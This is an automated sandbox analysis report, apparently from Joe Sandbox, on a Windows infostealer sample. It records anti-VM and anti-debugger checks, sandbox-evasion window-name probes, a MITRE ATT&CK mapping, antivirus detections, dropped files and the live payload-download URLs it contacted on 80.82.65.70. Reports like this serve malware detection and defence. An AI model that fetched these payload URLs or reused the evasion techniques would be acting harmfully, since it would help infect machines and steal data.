Source: file.exe, file.exe, 00000000.00000002.2420338300.00000000009B3000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Amcache.hve.6.dr	Binary or memory string: VMware
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.6.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.6.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.6.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: file.exe, 00000000.00000002.2422434828.00000000055A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.6.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: file.exe, 00000000.00000002.2420998289.0000000000E84000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(
Source: Amcache.hve.6.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.6.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.6.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.6.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: file.exe, 00000000.00000002.2420998289.0000000000E9B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.6.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.6.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.6.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.6.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.6.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.6.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.6.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: file.exe, 00000000.00000002.2420338300.00000000009B3000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Amcache.hve.6.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00825AA5 rdtsc

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0040A54A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00402A20 VirtualProtect,GetLastError,FormatMessageA,LocalAlloc,OutputDebugStringA,LocalFree,LocalFree,LocalFree,

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_10007A76 mov eax, dword ptr fs:[00000030h]		0_2_10007A76
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_10005F25 mov eax, dword ptr fs:[00000030h]		0_2_10005F25
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DCC9CB push dword ptr fs:[00000030h]		0_2_00DCC9CB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B50D90 mov eax, dword ptr fs:[00000030h]		0_2_04B50D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B5092B mov eax, dword ptr fs:[00000030h]		0_2_04B5092B

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00402EC0 SetLastError,SetLastError,SetLastError,GetNativeSystemInfo,VirtualAlloc,VirtualAlloc,VirtualAlloc,GetProcessHeap,HeapAlloc,VirtualFree,SetLastError,HeapFree,VirtualAlloc,

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004099EA SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_004099EA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040A54A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_0040A54A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040CDA3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_0040CDA3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040A6E0 SetUnhandledExceptionFilter,		0_2_0040A6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_10002ADF SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_10002ADF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B59C51 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_04B59C51
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B5A7B1 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_04B5A7B1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B5D00A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_04B5D00A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B5A947 SetUnhandledExceptionFilter,		0_2_04B5A947

Source: file.exe, file.exe, 00000000.00000002.2420338300.00000000009B3000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: sProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_3_04D196AC cpuid

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004107E2 GetSystemTimeAsFileTime,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.6.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: MsMpEng.exe

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	3 Command and Scripting Interpreter	1 DLL Side-Loading	2 Process Injection	11 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	24 Virtualization/Sandbox Evasion	LSASS Memory	781 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	12 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	2 Process Injection	Security Account Manager	24 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	3 Process Discovery	Distributed Component Object Model	Input Capture	11 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	3 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	12 Software Packing	Cached Domain Credentials	224 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Timestomp	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
file.exe	59%	Virustotal		Browse
file.exe	50%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	100%	Avira	HEUR/AGEN.1320706
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\sNe4DJsADzufDFC4vD39\Y-Cleaner.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1]	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1]	1%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]	75%	ReversingLabs	ByteCode-MSIL.Trojan.Malgent
C:\Users\user\AppData\Local\Temp\sNe4DJsADzufDFC4vD39\Bunifu_UI_v1.5.3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\sNe4DJsADzufDFC4vD39\Y-Cleaner.exe	75%	ReversingLabs	ByteCode-MSIL.Trojan.Malgent

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://80.82.65.70/dll/key=	0%	Avira URL Cloud	safe
http://80.82.65.70/soft/download3	0%	Avira URL Cloud	safe
http://80.82.65.70/dll/key=	0%	Virustotal		Browse
http://80.82.65.70/soft/download3	1%	Virustotal		Browse

Domains and IPs

Contacted Domains

⊘No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://80.82.65.70/soft/download	false		high
http://80.82.65.70/dll/key	false		high
http://80.82.65.70/add?substr=mixtwo&s=three&sub=emp	false		high
http://80.82.65.70/dll/download	false		high
http://80.82.65.70/files/download	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://80.82.65.70/soft/download3	file.exe, 00000000.00000002.2420998289.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://80.82.65.70/dll/key=	file.exe, 00000000.00000002.2422434828.0000000005590000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://upx.sf.net	Amcache.hve.6.dr	false		high
http://www.ccleaner.comqhttps://take.rdrct-now.online/go/ZWKA?p78705p298845p1174	file.exe, 00000000.00000003.2164247047.000000000586D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161403889.000000000596F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2164321798.000000000564F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2162923052.000000000596F000.00000004.00000020.00020000.00000000.sdmp, soft[1].0.dr, Y-Cleaner.exe.0.dr	false		high
https://iplogger.org/1Pz8p7	file.exe, 00000000.00000003.2164247047.000000000586D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161403889.000000000596F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2164321798.000000000564F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2162923052.000000000596F000.00000004.00000020.00020000.00000000.sdmp, soft[1].0.dr, Y-Cleaner.exe.0.dr	false		high
https://g-cleanit.hk	file.exe, 00000000.00000003.2164247047.000000000586D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161403889.000000000596F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2164321798.000000000564F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2162923052.000000000596F000.00000004.00000020.00020000.00000000.sdmp, soft[1].0.dr, Y-Cleaner.exe.0.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
80.82.65.70	unknown	Netherlands		202425	INT-NETWORKSC	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1574164
Start date and time:	2024-12-13 01:08:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 32s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.evad.winEXE@2/15@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.42.65.92, 52.149.20.212, 40.126.53.18, 13.107.246.63
Excluded domains from analysis (whitelisted): onedsblobprdeus17.eastus.cloudapp.azure.com, ocsp.digicert.com, slscr.update.microsoft.com, login.live.com, otelrules.azureedge.net, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
19:09:35	API Interceptor	84x Sleep call for process: file.exe modified
19:10:14	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
80.82.65.70	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	80.82.65.70/files/download
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Stealc, Vidar	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, RedLine, Stealc, Vidar	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Socks5Systemz	Browse	80.82.65.70/soft/download
	PGkSZbFKmI.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	80.82.65.70/files/download

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
INT-NETWORKSC	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	80.82.65.70
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Stealc, Vidar	Browse	80.82.65.70
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	80.82.65.70
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, RedLine, Stealc, Vidar	Browse	80.82.65.70
	file.exe	Get hash	malicious	Socks5Systemz	Browse	80.82.65.70
	PGkSZbFKmI.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	80.82.65.70
	Mk4JWS27SO.exe	Get hash	malicious	Unknown	Browse	80.82.65.70

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1]	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, RedLine, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Socks5Systemz	Browse
	Mk4JWS27SO.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Socks5Systemz	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, RedLine, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Socks5Systemz	Browse
	Mk4JWS27SO.exe	Get hash	malicious	Unknown	Browse
	BsVEQQnfyN.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Socks5Systemz	Browse
	file.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_file.exe_fafd47531ab6d510499988ddace487f076f293_c8b7b6aa_3873592e-16fe-4ef6-a770-24de31987836\Report.wer

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9701299156570382
Encrypted:	false
SSDEEP:	192:tFPZm+vvPiA0u1HakI3jud3szuiFgZ24IO8TVBVI:nhvou1HMj3zuiFgY4IO8X
MD5:	2878555D8AFF0DD620AD5395840D4BAF
SHA1:	AA7D4DEE23722A6F45774A4F9E015AADAF6E362F
SHA-256:	82DB92272715B255BC06C8995EFC084A44D1E3AD7AAA9E5E060EE5E6928E70AF
SHA-512:	2E99CCCC7EE5DD11EB17CE799A78D559E4000609CFADFF408B0CF31F60DBA6E2239904EE872A4E184078B0430F83F6D505E804362D29E7352A768D2E0019FF4E
Malicious:	true
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.8.5.2.2.1.9.1.6.2.3.0.6.4.3.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.8.5.2.2.1.9.2.5.9.1.8.0.9.8.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.8.7.3.5.9.2.e.-.1.6.f.e.-.4.e.f.6.-.a.7.7.0.-.2.4.d.e.3.1.9.8.7.8.3.6.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.0.c.a.1.2.f.0.-.2.f.a.1.-.4.d.f.e.-.a.b.6.d.-.4.f.9.2.b.f.5.a.0.4.4.f.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.f.i.l.e...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.5.9.c.-.0.0.0.1.-.0.0.1.4.-.8.3.b.b.-.a.2.3.8.f.3.4.c.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.6.1.4.9.7.9.f.a.6.0.7.e.3.8.d.2.7.9.0.5.b.1.f.1.5.1.f.1.c.2.5.8.0.0.0.0.1.5.0.6.!.0.0.0.0.b.8.a.b.4.3.2.7.2.f.b.b.a.d.2.1.c.1.9.8.5.e.e.5.3.6.e.c.d.5.c.c.b.d.c.0.a.7.6.1.!.f.i.l.e...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.1.2.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF25F.tmp.dmp

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Dec 13 00:09:52 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	46628
Entropy (8bit):	2.546006007223333
Encrypted:	false
SSDEEP:	384:7yOr2+75j71t/f+mB9lQ+d+MdPSrTXZg0FEv6:2sHdj71t/f+g9l/PSv1FEv6
MD5:	C4E636D89B8133AA7C077F690673F094
SHA1:	5B6E9AA324AD5BBFB82D4858D27E46ECD8103D4C
SHA-256:	E35BD61616A743EFCBE26BD4C726F47D2E28AE8B35ADE907D2280E6CD453E15E
SHA-512:	5995A9CD88AFFF76D7B203130428AB86F683EB6825DC2C13D54F5CD836015F9E533B37FC2368830935689AFF91B833E44277AEFC3E98B0DFD9EE6EF37BD02289
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... .......P{[g............4...........8...<.......d....,..........T.......8...........T............B...s..........t...........` ..............................................................................eJ....... ......GenuineIntel............T........... {[g.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF4F0.tmp.WERInternalMetadata.xml

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8300
Entropy (8bit):	3.6921439655824613
Encrypted:	false
SSDEEP:	192:R6l7wVeJ4Cu6s6Y9uSUqnPgmfBGWHpDy89bB9sflLm:R6lXJW6s6YUSUqPgmfZJB2fU
MD5:	537C49A778DB68E7FA214F2B0A4533D8
SHA1:	D6D042A0D7C8EB3811EB0DFD48690211C2E9062D
SHA-256:	B8608D9890B9D4894DE3EE20A8F6488D7C328F295EAB9988ED4482E6A98B1E7F
SHA-512:	DD0F74FD11B3D8B574526D302793B47E444940B4EEAA068E744E5EDFC3DB4BBFFE476EC610161C64A17405E03FDE7EB600ED3A0A5CEEF1DA32E3C5E3A6DDF712
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.1.4.3.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF53F.tmp.xml

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4541
Entropy (8bit):	4.429433230959654
Encrypted:	false
